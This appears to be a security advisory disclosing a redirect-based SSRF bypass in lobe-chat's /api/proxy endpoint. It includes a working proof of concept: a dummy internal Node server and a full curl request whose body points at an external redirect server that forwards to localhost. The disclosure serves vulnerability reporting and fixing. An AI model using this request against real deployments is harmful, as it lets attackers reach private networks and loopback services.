SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.
Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;
Create file dummy-server.js with the following content:
var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
console.log(req.url);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end();
}).listen(3001, 'localhost');
And run
node dummy-server.js
as an example server inside of container [1] (or in containers private network).
Run in terminal to perform request to lobe-chat instance from [1]
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
-b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
--data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
$'http://0.0.0.0:3210/api/proxy'
where body contains url of server which redirects to internal network (in my case it redirects according url parameter).
Observe in output of [2]
running server
/iamssrf_1337
Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.
https://portswigger.net/web-security/ssrf
{ "nvd_published_at": "2024-09-23T16:15:06Z", "cwe_ids": [ "CWE-918" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2024-09-23T20:30:11Z" }